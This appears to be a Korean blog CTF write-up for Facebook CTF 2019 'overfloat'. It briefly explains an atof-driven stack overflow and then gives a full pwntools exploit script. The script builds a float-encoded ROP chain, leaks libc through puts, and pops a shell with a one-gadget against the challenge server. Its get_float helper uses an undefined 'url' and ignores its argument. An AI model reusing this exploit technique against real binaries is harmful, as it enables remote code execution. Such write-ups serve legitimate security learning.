atof 함수에서 소수로 받아 4바이트씩 변수에 집어넣는데 원하는 만큼 집어넣는게 가능해서 오버플로우가 가능하다.

 

단 소수로 원하는 페이로드를 만들려면 IEEE floating point 변환을 해줘야 한다.

파이썬 코드로 짜는게 가능하지만 일단 빨리 풀기 위해 requests모듈로 웹사이트 기능을 크롤링해서 소수변환을 했다.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
from pwn import *
import time
import json
import requests
 
def get_float(want):
    response = requests.get(url)
    data = json.loads(response.text)
 
    return str(data['decimalRepr'])
 
#p = process('./overfloat')
p = remote('challenges.fbctf.com', 1341)
elf = ELF('./overfloat')
libc = ELF('./libc-2.27.so')
 
p.recv()
 
#nop = "-5.702072E-29"
nop = get_float("0x90909090")
pop_rdi = get_float("0x400a83")
pop_rsi_r15 = get_float("0x400a81")
puts_plt = get_float(hex(elf.plt['puts']))
puts_got = get_float(hex(elf.got['puts']))
main = get_float("0x400993")
 
i = 0
while(True):
    if i >= 14:
        break
    i += 1
    p.sendline(nop)
    p.recv()
 
p.sendline(pop_rdi)
p.recv()
p.sendline("0.0")
p.recv()
p.sendline(puts_got)
p.recv()
p.sendline("0.0")
 
p.sendline(puts_plt)
p.recv()
p.sendline("0.0")
p.recv()
 
#pause()
 
p.sendline(main)
hexdump(p.recv())
p.sendline("0.0")
hexdump(p.recv())
 
p.sendline("done")
#pause()
hexdump(p.recvuntil("\x0a"))
 
libc_puts = u64(p.recv(6).ljust(8, "\x00"))
log.info("libc_puts = {}".format(hex(libc_puts)))
libc_base = libc_puts - libc.symbols['puts']
log.info("libc_base = {}".format(hex(libc_base)))
libc_gets = libc_base + libc.symbols['gets']
log.info("libc_gets = {}".format(hex(libc_gets)))
oneshot = libc_base + 0x4f322
log.info("oneshot = {}".format(hex(oneshot)))
 
#pause()
 
i = 0
while(True):
    if i >= 14:
        break
    i += 1
    p.sendline(nop)
    p.recv()
 
p.sendline(pop_rdi)
p.recv()
p.sendline("0.0")
p.recv()
 
p.sendline(puts_got)
p.recv()
p.sendline("0.0")
p.recv()
 
p.sendline(get_float('0x'+hex(libc_gets)[-8:]))
p.recv()
length = len(hex(libc_gets)) - len(hex(libc_gets)[-8:])
p.sendline(get_float(hex(libc_gets)[:4+2]))
p.recv()
 
p.sendline(puts_plt)
p.recv()
p.sendline("0.0")
p.recv()
 
p.sendline("done")
 
hexdump(p.recv())
#pause()
p.sendline(p64(oneshot))
p.interactive()

 

 

Ref.https://www.h-schmidt.net/FloatConverter/IEEE754.html

'CTF' 카테고리의 다른 글

facebook CTF 2019 products-manager  (0) 2019.06.04
defcon2019 speedrun  (0) 2019.05.28
hackzone 2019 pwn2 (Syscall)  (0) 2019.05.09
hackzone 2019 pwn1  (0) 2019.05.07
BTH_CTF 2019  (0) 2019.05.01

+ Recent posts